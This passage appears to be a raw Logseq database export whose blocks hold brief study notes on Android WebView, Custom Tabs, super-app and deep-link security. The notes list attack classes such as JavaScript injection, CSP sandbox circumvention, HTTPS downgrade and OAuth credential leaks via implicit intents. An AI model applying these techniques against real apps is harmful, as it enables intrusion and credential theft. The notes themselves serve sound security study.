contentlogseq____",536877123]],[logseq____"^15logseq____",[801,logseq____"^Ologseq____",logseq____"^16logseq____",536877097]],[logseq____"^15logseq____",[801,logseq____"^@logseq____",false,536877097]],[logseq____"^15logseq____",[801,logseq____"^Flogseq____",799,536877097]],[logseq____"^15logseq____",[801,logseq____"^Xlogseq____",796,536877097]],[logseq____"^15logseq____",[801,logseq____"^Vlogseq____",798,536877097]],[logseq____"^15logseq____",[801,logseq____"^Ulogseq____",796,536877098]],[logseq____"^15logseq____",[801,logseq____"^?logseq____",[logseq____"^ logseq____"],536877123]],[logseq____"^15logseq____",[801,logseq____"^;logseq____",logseq____"~u67bb3f5d-1014-47f5-a236-382f0922e76blogseq____",536877097]],[logseq____"^15logseq____",[802,logseq____"^Qlogseq____",logseq____"Did not support certificate pinning (Now app-wide \\logseq____"Network Security Config\\logseq____" includes WebViews)logseq____",536877161]],[logseq____"^15logseq____",[802,logseq____"^Ologseq____",logseq____"^16logseq____",536877119]],[logseq____"^15logseq____",[802,logseq____"^@logseq____",false,536877119]],[logseq____"^15logseq____",[802,logseq____"^Flogseq____",801,536877119]],[logseq____"^15logseq____",[802,logseq____"^Xlogseq____",796,536877119]],[logseq____"^15logseq____",[802,logseq____"^Vlogseq____",798,536877119]],[logseq____"^15logseq____",[802,logseq____"^Ulogseq____",796,536877120]],[logseq____"^15logseq____",[802,logseq____"^?logseq____",[logseq____"^ logseq____"],536877161]],[logseq____"^15logseq____",[802,logseq____"^;logseq____",logseq____"~u67bb3f93-1860-4337-a84c-0f1b68192c69logseq____",536877119]],[logseq____"^15logseq____",[803,logseq____"^Qlogseq____",logseq____"JavaScript disabled by defaultlogseq____",536877221]],[logseq____"^15logseq____",[803,logseq____"^Ologseq____",logseq____"^16logseq____",536877132]],[logseq____"^15logseq____",[803,logseq____"^@logseq____",false,536877132]],[logseq____"^15logseq____",[803,logseq____"^Flogseq____",804,536877167]],[logseq____"^15logseq____",[803,logseq____"^Xlogseq____",796,536877132]],[logseq____"^15logseq____",[803,logseq____"^Vlogseq____",804,536877167]],[logseq____"^15logseq____",[803,logseq____"^Ulogseq____",796,536877212]],[logseq____"^15logseq____",[803,logseq____"^?logseq____",[logseq____"^ logseq____"],536877221]],[logseq____"^15logseq____",[803,logseq____"^;logseq____",logseq____"~u67bb4257-7ae3-4725-adbc-2b058fb79827logseq____",536877132]],[logseq____"^15logseq____",[804,logseq____"^Qlogseq____",logseq____"## Web-2-App/App-2-Web Attackslogseq____",536877211]],[logseq____"^15logseq____",[804,logseq____"^Ologseq____",logseq____"^16logseq____",536877161]],[logseq____"^15logseq____",[804,logseq____"^@logseq____",false,536877161]],[logseq____"^15logseq____",[804,logseq____"^Flogseq____",798,536877167]],[logseq____"^15logseq____",[804,logseq____"^Xlogseq____",796,536877161]],[logseq____"^15logseq____",[804,logseq____"^Vlogseq____",796,536877167]],[logseq____"^15logseq____",[804,logseq____"^Ulogseq____",796,536877162]],[logseq____"^15logseq____",[804,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536877211]],[logseq____"^15logseq____",[804,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877211]],[logseq____"^15logseq____",[804,logseq____"^;logseq____",logseq____"~u67bb4279-50c2-40ef-9a63-0b2c3c221805logseq____",536877161]],[logseq____"^15logseq____",[805,logseq____"^Qlogseq____",logseq____"Opting into JavaScript via customization (JavaScript bridge is exposed globally to all loaded content)logseq____",536877363]],[logseq____"^15logseq____",[805,logseq____"^Ologseq____",logseq____"^16logseq____",536877221]],[logseq____"^15logseq____",[805,logseq____"^@logseq____",false,536877221]],[logseq____"^15logseq____",[805,logseq____"^Flogseq____",803,536877221]],[logseq____"^15logseq____",[805,logseq____"^Xlogseq____",796,536877221]],[logseq____"^15logseq____",[805,logseq____"^Vlogseq____",804,536877221]],[logseq____"^15logseq____",[805,logseq____"^Ulogseq____",796,536877222]],[logseq____"^15logseq____",[805,logseq____"^?logseq____",[logseq____"^ logseq____"],536877363]],[logseq____"^15logseq____",[805,logseq____"^;logseq____",logseq____"~u67bb42c4-eb09-4bf8-a52a-87e4cfe81979logseq____",536877221]],[logseq____"^15logseq____",[806,logseq____"^Qlogseq____",logseq____"Attack possibilities from web content to app and vice versalogseq____",536877253]],[logseq____"^15logseq____",[806,logseq____"^Ologseq____",logseq____"^16logseq____",536877234]],[logseq____"^15logseq____",[806,logseq____"^@logseq____",false,536877234]],[logseq____"^15logseq____",[806,logseq____"^Flogseq____",805,536877234]],[logseq____"^15logseq____",[806,logseq____"^Xlogseq____",796,536877234]],[logseq____"^15logseq____",[806,logseq____"^Vlogseq____",804,536877234]],[logseq____"^15logseq____",[806,logseq____"^Ulogseq____",796,536877235]],[logseq____"^15logseq____",[806,logseq____"^?logseq____",[logseq____"^ logseq____"],536877253]],[logseq____"^15logseq____",[806,logseq____"^;logseq____",logseq____"~u67bb42e5-e293-4208-9d6c-69a67c975516logseq____",536877234]],[logseq____"^15logseq____",[807,logseq____"^Qlogseq____",logseq____"### App-2-Weblogseq____",536877302]],[logseq____"^15logseq____",[807,logseq____"^Ologseq____",logseq____"^16logseq____",536877253]],[logseq____"^15logseq____",[807,logseq____"^@logseq____",false,536877253]],[logseq____"^15logseq____",[807,logseq____"^Flogseq____",806,536877253]],[logseq____"^15logseq____",[807,logseq____"^Xlogseq____",796,536877253]],[logseq____"^15logseq____",[807,logseq____"^Vlogseq____",804,536877253]],[logseq____"^15logseq____",[807,logseq____"^Ulogseq____",796,536877254]],[logseq____"^15logseq____",[807,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536877302]],[logseq____"^15logseq____",[807,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877302]],[logseq____"^15logseq____",[807,logseq____"^;logseq____",logseq____"~u67bb42fb-c178-428d-947f-7d895b0be8cclogseq____",536877253]],[logseq____"^15logseq____",[808,logseq____"^Qlogseq____",logseq____"Malicious app embedds benign websitelogseq____",536877285]],[logseq____"^15logseq____",[808,logseq____"^Ologseq____",logseq____"^16logseq____",536877266]],[logseq____"^15logseq____",[808,logseq____"^@logseq____",false,536877266]],[logseq____"^15logseq____",[808,logseq____"^Flogseq____",807,536877266]],[logseq____"^15logseq____",[808,logseq____"^Xlogseq____",796,536877266]],[logseq____"^15logseq____",[808,logseq____"^Vlogseq____",807,536877270]],[logseq____"^15logseq____",[808,logseq____"^Ulogseq____",796,536877303]],[logseq____"^15logseq____",[808,logseq____"^?logseq____",[logseq____"^ logseq____"],536877285]],[logseq____"^15logseq____",[808,logseq____"^;logseq____",logseq____"~u67bb430b-5a2c-4581-bb57-090d8df80883logseq____",536877266]],[logseq____"^15logseq____",[809,logseq____"^Qlogseq____",logseq____"### Web-2-Applogseq____",536877295]],[logseq____"^15logseq____",[809,logseq____"^Ologseq____",logseq____"^16logseq____",536877286]],[logseq____"^15logseq____",[809,logseq____"^@logseq____",false,536877286]],[logseq____"^15logseq____",[809,logseq____"^Flogseq____",807,536877288]],[logseq____"^15logseq____",[809,logseq____"^Xlogseq____",796,536877286]],[logseq____"^15logseq____",[809,logseq____"^Vlogseq____",804,536877288]],[logseq____"^15logseq____",[809,logseq____"^Ulogseq____",796,536877287]],[logseq____"^15logseq____",[809,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536877295]],[logseq____"^15logseq____",[809,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877295]],[logseq____"^15logseq____",[809,logseq____"^;logseq____",logseq____"~u67bb4314-9926-4e60-92b5-e01d614ae888logseq____",536877286]],[logseq____"^15logseq____",[810,logseq____"^Qlogseq____",logseq____"Bening app includes malicious website and malicious serverlogseq____",536877322]],[logseq____"^15logseq____",[810,logseq____"^Ologseq____",logseq____"^16logseq____",536877306]],[logseq____"^15logseq____",[810,logseq____"^@logseq____",false,536877306]],[logseq____"^15logseq____",[810,logseq____"^Flogseq____",809,536877306]],[logseq____"^15logseq____",[810,logseq____"^Xlogseq____",796,536877306]],[logseq____"^15logseq____",[810,logseq____"^Vlogseq____",809,536877313]],[logseq____"^15logseq____",[810,logseq____"^Ulogseq____",796,536877307]],[logseq____"^15logseq____",[810,logseq____"^?logseq____",[logseq____"^ logseq____"],536877322]],[logseq____"^15logseq____",[810,logseq____"^;logseq____",logseq____"~u67bb431e-da44-45ce-964c-4ffdde646171logseq____",536877306]],[logseq____"^15logseq____",[811,logseq____"^Qlogseq____",logseq____"Bening app includes bening website turned maliciouslogseq____",536877332]],[logseq____"^15logseq____",[811,logseq____"^Ologseq____",logseq____"^16logseq____",536877322]],[logseq____"^15logseq____",[811,logseq____"^@logseq____",false,536877322]],[logseq____"^15logseq____",[811,logseq____"^Flogseq____",810,536877322]],[logseq____"^15logseq____",[811,logseq____"^Xlogseq____",796,536877322]],[logseq____"^15logseq____",[811,logseq____"^Vlogseq____",809,536877322]],[logseq____"^15logseq____",[811,logseq____"^Ulogseq____",796,536877323]],[logseq____"^15logseq____",[811,logseq____"^?logseq____",[logseq____"^ logseq____"],536877332]],[logseq____"^15logseq____",[811,logseq____"^;logseq____",logseq____"~u67bb4338-fe66-4581-8692-054d8d32c0e2logseq____",536877322]],[logseq____"^15logseq____",[812,logseq____"^Qlogseq____",logseq____"Bening app includes bening website turned malicious with compromised web serverlogseq____",536877345]],[logseq____"^15logseq____",[812,logseq____"^Ologseq____",logseq____"^16logseq____",536877335]],[logseq____"^15logseq____",[812,logseq____"^@logseq____",false,536877335]],[logseq____"^15logseq____",[812,logseq____"^Flogseq____",811,536877335]],[logseq____"^15logseq____",[812,logseq____"^Xlogseq____",796,536877335]],[logseq____"^15logseq____",[812,logseq____"^Vlogseq____",809,536877335]],[logseq____"^15logseq____",[812,logseq____"^Ulogseq____",796,536877336]],[logseq____"^15logseq____",[812,logseq____"^?logseq____",[logseq____"^ logseq____"],536877345]],[logseq____"^15logseq____",[812,logseq____"^;logseq____",logseq____"~u67bb4346-714d-4d14-9fda-37e7539dd7aalogseq____",536877335]],[logseq____"^15logseq____",[813,logseq____"^Qlogseq____",logseq____"Inject code via links or navigations inside WebView, make use of iframes, improper [[SSL / TLS]] or local resourceslogseq____",536877421]],[logseq____"^15logseq____",[813,logseq____"^Ologseq____",logseq____"^16logseq____",536877366]],[logseq____"^15logseq____",[813,logseq____"^@logseq____",false,536877366]],[logseq____"^15logseq____",[813,logseq____"^Flogseq____",812,536877366]],[logseq____"^15logseq____",[813,logseq____"^Xlogseq____",796,536877366]],[logseq____"^15logseq____",[813,logseq____"^Vlogseq____",809,536877366]],[logseq____"^15logseq____",[813,logseq____"^Ulogseq____",765,536877408]],[logseq____"^15logseq____",[813,logseq____"^Ulogseq____",766,536877408]],[logseq____"^15logseq____",[813,logseq____"^Ulogseq____",796,536877408]],[logseq____"^15logseq____",[813,logseq____"^?logseq____",[logseq____"^ logseq____"],536877421]],[logseq____"^15logseq____",[813,logseq____"^Hlogseq____",765,536877421]],[logseq____"^15logseq____",[813,logseq____"^Hlogseq____",766,536877421]],[logseq____"^15logseq____",[813,logseq____"^;logseq____",logseq____"~u67bb43ba-77d7-4527-8347-be49c97885b9logseq____",536877366]],[logseq____"^15logseq____",[814,logseq____"^Qlogseq____",logseq____"If host app has privileges, e.g., camera/microphone access, embedded WebView also can request accesslogseq____",536877448]],[logseq____"^15logseq____",[814,logseq____"^Ologseq____",logseq____"^16logseq____",536877409]],[logseq____"^15logseq____",[814,logseq____"^@logseq____",false,536877409]],[logseq____"^15logseq____",[814,logseq____"^Flogseq____",813,536877409]],[logseq____"^15logseq____",[814,logseq____"^Xlogseq____",796,536877409]],[logseq____"^15logseq____",[814,logseq____"^Vlogseq____",809,536877409]],[logseq____"^15logseq____",[814,logseq____"^Ulogseq____",796,536877410]],[logseq____"^15logseq____",[814,logseq____"^?logseq____",[logseq____"^ logseq____"],536877448]],[logseq____"^15logseq____",[814,logseq____"^;logseq____",logseq____"~u67bb43f1-a4a8-4955-aed0-54bc32258e11logseq____",536877409]],[logseq____"^15logseq____",[815,logseq____"^Qlogseq____",logseq____"Starting Intents in `shouldOverrideUrlLoading` can cause problems, if scheme is not `HTTP`, i.e., applications registered for particular scheme would be invokedlogseq____",536877497]],[logseq____"^15logseq____",[815,logseq____"^Ologseq____",logseq____"^16logseq____",536877451]],[logseq____"^15logseq____",[815,logseq____"^@logseq____",false,536877451]],[logseq____"^15logseq____",[815,logseq____"^Flogseq____",814,536877451]],[logseq____"^15logseq____",[815,logseq____"^Xlogseq____",796,536877451]],[logseq____"^15logseq____",[815,logseq____"^Vlogseq____",809,536877451]],[logseq____"^15logseq____",[815,logseq____"^Ulogseq____",796,536877452]],[logseq____"^15logseq____",[815,logseq____"^?logseq____",[logseq____"^ logseq____"],536877497]],[logseq____"^15logseq____",[815,logseq____"^;logseq____",logseq____"~u67bb45c7-004e-446e-b24d-fa03ec700f72logseq____",536877451]],[logseq____"^15logseq____",[816,logseq____"^Qlogseq____",logseq____"Attack vulnerable SDK versionslogseq____",536877520]],[logseq____"^15logseq____",[816,logseq____"^Ologseq____",logseq____"^16logseq____",536877500]],[logseq____"^15logseq____",[816,logseq____"^@logseq____",false,536877500]],[logseq____"^15logseq____",[816,logseq____"^Flogseq____",815,536877500]],[logseq____"^15logseq____",[816,logseq____"^Xlogseq____",796,536877500]],[logseq____"^15logseq____",[816,logseq____"^Vlogseq____",815,536877502]],[logseq____"^15logseq____",[816,logseq____"^Ulogseq____",796,536877501]],[logseq____"^15logseq____",[816,logseq____"^?logseq____",[logseq____"^ logseq____"],536877520]],[logseq____"^15logseq____",[816,logseq____"^;logseq____",logseq____"~u67bb4673-528f-418f-9b7c-e2af472bdfbelogseq____",536877500]],[logseq____"^15logseq____",[817,logseq____"^Qlogseq____",logseq____"Leak OAuth credentials if sent via Implicit Intent from WebViewClientlogseq____",536877535]],[logseq____"^15logseq____",[817,logseq____"^Ologseq____",logseq____"^16logseq____",536877511]],[logseq____"^15logseq____",[817,logseq____"^@logseq____",false,536877511]],[logseq____"^15logseq____",[817,logseq____"^Flogseq____",816,536877511]],[logseq____"^15logseq____",[817,logseq____"^Xlogseq____",796,536877511]],[logseq____"^15logseq____",[817,logseq____"^Vlogseq____",815,536877511]],[logseq____"^15logseq____",[817,logseq____"^Ulogseq____",796,536877512]],[logseq____"^15logseq____",[817,logseq____"^?logseq____",[logseq____"^ logseq____"],536877535]],[logseq____"^15logseq____",[817,logseq____"^;logseq____",logseq____"~u67bb467a-2e0d-4cdc-baac-17c6140802aclogseq____",536877511]],[logseq____"^15logseq____",[818,logseq____"^Qlogseq____",logseq____"Abuse JavaScript Injectionlogseq____",536877548]],[logseq____"^15logseq____",[818,logseq____"^Ologseq____",logseq____"^16logseq____",536877538]],[logseq____"^15logseq____",[818,logseq____"^@logseq____",false,536877538]],[logseq____"^15logseq____",[818,logseq____"^Flogseq____",808,536877538]],[logseq____"^15logseq____",[818,logseq____"^Xlogseq____",796,536877538]],[logseq____"^15logseq____",[818,logseq____"^Vlogseq____",807,536877538]],[logseq____"^15logseq____",[818,logseq____"^Ulogseq____",796,536877539]],[logseq____"^15logseq____",[818,logseq____"^?logseq____",[logseq____"^ logseq____"],536877548]],[logseq____"^15logseq____",[818,logseq____"^;logseq____",logseq____"~u67bb47a9-2c4b-4905-8bd2-dbd539da6c1dlogseq____",536877538]],[logseq____"^15logseq____",[819,logseq____"^Qlogseq____",logseq____"Event Sniffing/Hijackinglogseq____",536877576]],[logseq____"^15logseq____",[819,logseq____"^Ologseq____",logseq____"^16logseq____",536877551]],[logseq____"^15logseq____",[819,logseq____"^@logseq____",false,536877551]],[logseq____"^15logseq____",[819,logseq____"^Flogseq____",818,536877551]],[logseq____"^15logseq____",[819,logseq____"^Xlogseq____",796,536877551]],[logseq____"^15logseq____",[819,logseq____"^Vlogseq____",807,536877551]],[logseq____"^15logseq____",[819,logseq____"^Ulogseq____",796,536877552]],[logseq____"^15logseq____",[819,logseq____"^?logseq____",[logseq____"^ logseq____"],536877576]],[logseq____"^15logseq____",[819,logseq____"^;logseq____",logseq____"~u67bb4808-2fa5-41af-80ba-e9d8ebd00694logseq____",536877551]],[logseq____"^15logseq____",[820,logseq____"^Qlogseq____",logseq____"Circumvent CSP/iFrame Sandboxlogseq____",536877598]],[logseq____"^15logseq____",[820,logseq____"^Ologseq____",logseq____"^16logseq____",536877579]],[logseq____"^15logseq____",[820,logseq____"^@logseq____",false,536877579]],[logseq____"^15logseq____",[820,logseq____"^Flogseq____",819,536877579]],[logseq____"^15logseq____",[820,logseq____"^Xlogseq____",796,536877579]],[logseq____"^15logseq____",[820,logseq____"^Vlogseq____",807,536877579]],[logseq____"^15logseq____",[820,logseq____"^Ulogseq____",796,536877580]],[logseq____"^15logseq____",[820,logseq____"^?logseq____",[logseq____"^ logseq____"],536877598]],[logseq____"^15logseq____",[820,logseq____"^;logseq____",logseq____"~u67bb4847-e267-491f-9929-ddd0fcd15d46logseq____",536877579]],[logseq____"^15logseq____",[821,logseq____"^Qlogseq____",logseq____"abuse `shouldOverrideUrlLoading` to downgrade security, e.g., `https://` to `http://`logseq____",536877623]],[logseq____"^15logseq____",[821,logseq____"^Ologseq____",logseq____"^16logseq____",536877601]],[logseq____"^15logseq____",[821,logseq____"^@logseq____",false,536877601]],[logseq____"^15logseq____",[821,logseq____"^Flogseq____",820,536877601]],[logseq____"^15logseq____",[821,logseq____"^Xlogseq____",796,536877601]],[logseq____"^15logseq____",[821,logseq____"^Vlogseq____",807,536877601]],[logseq____"^15logseq____",[821,logseq____"^Ulogseq____",796,536877602]],[logseq____"^15logseq____",[821,logseq____"^?logseq____",[logseq____"^ logseq____"],536877623]],[logseq____"^15logseq____",[821,logseq____"^;logseq____",logseq____"~u67bb48be-7f79-4b7b-a73b-af37160532c9logseq____",536877601]],[logseq____"^15logseq____",[822,logseq____"^Qlogseq____",logseq____"logseq____",536877624]],[logseq____"^15logseq____",[822,logseq____"^Ologseq____",logseq____"^16logseq____",536877624]],[logseq____"^15logseq____",[822,logseq____"^@logseq____",false,536877624]],[logseq____"^15logseq____",[822,logseq____"^Flogseq____",821,536877624]],[logseq____"^15logseq____",[822,logseq____"^Xlogseq____",796,536877624]],[logseq____"^15logseq____",[822,logseq____"^Vlogseq____",807,536877624]],[logseq____"^15logseq____",[822,logseq____"^Ulogseq____",796,536877625]],[logseq____"^15logseq____",[822,logseq____"^?logseq____",[logseq____"^ logseq____"],536877624]],[logseq____"^15logseq____",[822,logseq____"^;logseq____",logseq____"~u67bb48d7-c6cb-4876-8884-47e79bb5d281logseq____",536877624]],[logseq____"^15logseq____",[823,logseq____"^Qlogseq____",logseq____"## Custom Tabslogseq____",536877639]],[logseq____"^15logseq____",[823,logseq____"^Ologseq____",logseq____"^16logseq____",536877630]],[logseq____"^15logseq____",[823,logseq____"^@logseq____",false,536877630]],[logseq____"^15logseq____",[823,logseq____"^Flogseq____",804,536877636]],[logseq____"^15logseq____",[823,logseq____"^Xlogseq____",796,536877630]],[logseq____"^15logseq____",[823,logseq____"^Vlogseq____",796,536877636]],[logseq____"^15logseq____",[823,logseq____"^Ulogseq____",796,536877631]],[logseq____"^15logseq____",[823,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536877639]],[logseq____"^15logseq____",[823,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877639]],[logseq____"^15logseq____",[823,logseq____"^;logseq____",logseq____"~u67bb494a-32bd-414e-87cb-59b79a3f20bblogseq____",536877630]],[logseq____"^15logseq____",[824,logseq____"^Qlogseq____",logseq____"Opened via `CustomTabsIntent` to run a tab (in preferred browser) in a separate activitylogseq____",536877667]],[logseq____"^15logseq____",[824,logseq____"^Ologseq____",logseq____"^16logseq____",536877639]],[logseq____"^15logseq____",[824,logseq____"^@logseq____",false,536877639]],[logseq____"^15logseq____",[824,logseq____"^Flogseq____",823,536877639]],[logseq____"^15logseq____",[824,logseq____"^Xlogseq____",796,536877639]],[logseq____"^15logseq____",[824,logseq____"^Vlogseq____",823,536877643]],[logseq____"^15logseq____",[824,logseq____"^Ulogseq____",796,536877640]],[logseq____"^15logseq____",[824,logseq____"^?logseq____",[logseq____"^ logseq____"],536877667]],[logseq____"^15logseq____",[824,logseq____"^;logseq____",logseq____"~u67bb494e-74c7-4e1f-a4be-80e058db7b2clogseq____",536877639]],[logseq____"^15logseq____",[825,logseq____"^Qlogseq____",logseq____"Shares state with Browser (UI can be customized)logseq____",536877680]],[logseq____"^15logseq____",[825,logseq____"^Ologseq____",logseq____"^16logseq____",536877670]],[logseq____"^15logseq____",[825,logseq____"^@logseq____",false,536877670]],[logseq____"^15logseq____",[825,logseq____"^Flogseq____",824,536877670]],[logseq____"^15logseq____",[825,logseq____"^Xlogseq____",796,536877670]],[logseq____"^15logseq____",[825,logseq____"^Vlogseq____",823,536877670]],[logseq____"^15logseq____",[825,logseq____"^Ulogseq____",796,536877671]],[logseq____"^15logseq____",[825,logseq____"^?logseq____",[logseq____"^ logseq____"],536877680]],[logseq____"^15logseq____",[825,logseq____"^;logseq____",logseq____"~u67bb497d-9097-4abc-8613-56257341d28dlogseq____",536877670]],[logseq____"^15logseq____",[826,logseq____"^Qlogseq____",logseq____"More limited interaction with web contentlogseq____",536877693]],[logseq____"^15logseq____",[826,logseq____"^Ologseq____",logseq____"^16logseq____",536877683]],[logseq____"^15logseq____",[826,logseq____"^@logseq____",false,536877683]],[logseq____"^15logseq____",[826,logseq____"^Flogseq____",825,536877683]],[logseq____"^15logseq____",[826,logseq____"^Xlogseq____",796,536877683]],[logseq____"^15logseq____",[826,logseq____"^Vlogseq____",823,536877683]],[logseq____"^15logseq____",[826,logseq____"^Ulogseq____",796,536877684]],[logseq____"^15logseq____",[826,logseq____"^?logseq____",[logseq____"^ logseq____"],536877693]],[logseq____"^15logseq____",[826,logseq____"^;logseq____",logseq____"~u67bb4993-0c45-4755-9ea3-d20350ac725flogseq____",536877683]],[logseq____"^15logseq____",[827,logseq____"^Qlogseq____",logseq____"Allows for spoofing bottom bar, e.g., change passwordlogseq____",536877703]],[logseq____"^15logseq____",[827,logseq____"^Ologseq____",logseq____"^16logseq____",536877696]],[logseq____"^15logseq____",[827,logseq____"^@logseq____",false,536877696]],[logseq____"^15logseq____",[827,logseq____"^Flogseq____",826,536877696]],[logseq____"^15logseq____",[827,logseq____"^Xlogseq____",796,536877696]],[logseq____"^15logseq____",[827,logseq____"^Vlogseq____",823,536877696]],[logseq____"^15logseq____",[827,logseq____"^Ulogseq____",796,536877697]],[logseq____"^15logseq____",[827,logseq____"^?logseq____",[logseq____"^ logseq____"],536877703]],[logseq____"^15logseq____",[827,logseq____"^;logseq____",logseq____"~u67bb4b1b-4852-491a-8ce9-1b3a7e7ca260logseq____",536877696]],[logseq____"^15logseq____",[828,logseq____"^Qlogseq____",logseq____"## Super Appslogseq____",536877713]],[logseq____"^15logseq____",[828,logseq____"^Ologseq____",logseq____"^16logseq____",536877706]],[logseq____"^15logseq____",[828,logseq____"^@logseq____",false,536877706]],[logseq____"^15logseq____",[828,logseq____"^Flogseq____",823,536877708]],[logseq____"^15logseq____",[828,logseq____"^Xlogseq____",796,536877706]],[logseq____"^15logseq____",[828,logseq____"^Vlogseq____",796,536877708]],[logseq____"^15logseq____",[828,logseq____"^Ulogseq____",796,536877707]],[logseq____"^15logseq____",[828,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536877713]],[logseq____"^15logseq____",[828,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877713]],[logseq____"^15logseq____",[828,logseq____"^;logseq____",logseq____"~u67bb4b45-f70d-4c29-9833-2d00a2dd538alogseq____",536877706]],[logseq____"^15logseq____",[829,logseq____"^Qlogseq____",logseq____"Feature-rich application often delegate functions to other partieslogseq____",536877738]],[logseq____"^15logseq____",[829,logseq____"^Ologseq____",logseq____"^16logseq____",536877716]],[logseq____"^15logseq____",[829,logseq____"^@logseq____",false,536877716]],[logseq____"^15logseq____",[829,logseq____"^Flogseq____",828,536877716]],[logseq____"^15logseq____",[829,logseq____"^Xlogseq____",796,536877716]],[logseq____"^15logseq____",[829,logseq____"^Vlogseq____",828,536877718]],[logseq____"^15logseq____",[829,logseq____"^Ulogseq____",796,536877717]],[logseq____"^15logseq____",[829,logseq____"^?logseq____",[logseq____"^ logseq____"],536877738]],[logseq____"^15logseq____",[829,logseq____"^;logseq____",logseq____"~u67bb4bc0-1018-4c97-a357-4203462386f3logseq____",536877716]],[logseq____"^15logseq____",[830,logseq____"^Qlogseq____",logseq____"Sub-apps bring rich content and serviecs in a native app-like experiencelogseq____",536877760]],[logseq____"^15logseq____",[830,logseq____"^Ologseq____",logseq____"^16logseq____",536877741]],[logseq____"^15logseq____",[830,logseq____"^@logseq____",false,536877741]],[logseq____"^15logseq____",[830,logseq____"^Flogseq____",829,536877741]],[logseq____"^15logseq____",[830,logseq____"^Xlogseq____",796,536877741]],[logseq____"^15logseq____",[830,logseq____"^Vlogseq____",828,536877741]],[logseq____"^15logseq____",[830,logseq____"^Ulogseq____",796,536877742]],[logseq____"^15logseq____",[830,logseq____"^?logseq____",[logseq____"^ logseq____"],536877760]],[logseq____"^15logseq____",[830,logseq____"^;logseq____",logseq____"~u67bb4bde-1f31-4659-b3f0-11fd07fb602clogseq____",536877741]],[logseq____"^15logseq____",[831,logseq____"^Qlogseq____",logseq____"Super-App provides an SDK with access to natice APIs and cloud backendslogseq____",536877789]],[logseq____"^15logseq____",[831,logseq____"^Ologseq____",logseq____"^16logseq____",536877763]],[logseq____"^15logseq____",[831,logseq____"^@logseq____",false,536877763]],[logseq____"^15logseq____",[831,logseq____"^Flogseq____",830,536877763]],[logseq____"^15logseq____",[831,logseq____"^Xlogseq____",796,536877763]],[logseq____"^15logseq____",[831,logseq____"^Vlogseq____",828,536877763]],[logseq____"^15logseq____",[831,logseq____"^Ulogseq____",796,536877764]],[logseq____"^15logseq____",[831,logseq____"^?logseq____",[logseq____"^ logseq____"],536877789]],[logseq____"^15logseq____",[831,logseq____"^;logseq____",logseq____"~u67bb4c02-17a6-4bf3-861f-9a3904d3e184logseq____",536877763]],[logseq____"^15logseq____",[832,logseq____"^Qlogseq____",logseq____"Must enforce access control on sub-app (often confused access control checks)logseq____",536877805]],[logseq____"^15logseq____",[832,logseq____"^Ologseq____",logseq____"^16logseq____",536877792]],[logseq____"^15logseq____",[832,logseq____"^@logseq____",false,536877792]],[logseq____"^15logseq____",[832,logseq____"^Flogseq____",831,536877792]],[logseq____"^15logseq____",[832,logseq____"^Xlogseq____",796,536877792]],[logseq____"^15logseq____",[832,logseq____"^Vlogseq____",828,536877792]],[logseq____"^15logseq____",[832,logseq____"^Ulogseq____",796,536877793]],[logseq____"^15logseq____",[832,logseq____"^?logseq____",[logseq____"^ logseq____"],536877805]],[logseq____"^15logseq____",[832,logseq____"^;logseq____",logseq____"~u67bb4c2d-8805-40d4-be4b-c127603a1c20logseq____",536877792]],[logseq____"^15logseq____",[833,logseq____"^Klogseq____",1740328035749,536877808]],[logseq____"^15logseq____",[833,logseq____"^Ologseq____",logseq____"^16logseq____",536877810]],[logseq____"^15logseq____",[833,logseq____"^@logseq____",false,536877808]],[logseq____"^15logseq____",[833,logseq____"^Ylogseq____",logseq____"deeplinks/applinkslogseq____",536877808]],[logseq____"^15logseq____",[833,logseq____"^Alogseq____",834,536877808]],[logseq____"^15logseq____",[833,logseq____"^11logseq____",logseq____"DeepLinks/AppLinkslogseq____",536877808]],[logseq____"^15logseq____",[833,logseq____"^Blogseq____",1740328917538,536878156]],[logseq____"^15logseq____",[833,logseq____"^;logseq____",logseq____"~u67bd79bb-2c88-4dec-b4f7-aed90fca4392logseq____",536878163]],[logseq____"^15logseq____",[834,logseq____"^Klogseq____",1740328035749,536877808]],[logseq____"^15logseq____",[834,logseq____"^@logseq____",false,536877808]],[logseq____"^15logseq____",[834,logseq____"^Ylogseq____",logseq____"deeplinkslogseq____",536877808]],[logseq____"^15logseq____",[834,logseq____"^11logseq____",logseq____"DeepLinkslogseq____",536877808]],[logseq____"^15logseq____",[834,logseq____"^Blogseq____",1740328035749,536877808]],[logseq____"^15logseq____",[834,logseq____"^;logseq____",logseq____"~u67bd79bb-b1cd-45ef-86b3-cb498df588d5logseq____",536878163]],[logseq____"^15logseq____",[835,logseq____"^Qlogseq____",logseq____"## General Informationlogseq____",536877816]],[logseq____"^15logseq____",[835,logseq____"^Ologseq____",logseq____"^16logseq____",536877811]],[logseq____"^15logseq____",[835,logseq____"^@logseq____",false,536877811]],[logseq____"^15logseq____",[835,logseq____"^Flogseq____",833,536877811]],[logseq____"^15logseq____",[835,logseq____"^Xlogseq____",833,536877811]],[logseq____"^15logseq____",[835,logseq____"^Vlogseq____",833,536877811]],[logseq____"^15logseq____",[835,logseq____"^Ulogseq____",833,536877812]],[logseq____"^15logseq____",[835,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536877816]],[logseq____"^15logseq____",[835,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536877816]],[logseq____"^15logseq____",[835,logseq____"^;logseq____",logseq____"~u67bb4c64-782f-4219-9807-f9bf0160afd3logseq____",536877811]],[logseq____"^15logseq____",[836,logseq____"^Qlogseq____",logseq____"Intent filters defining when clicking a link should open an 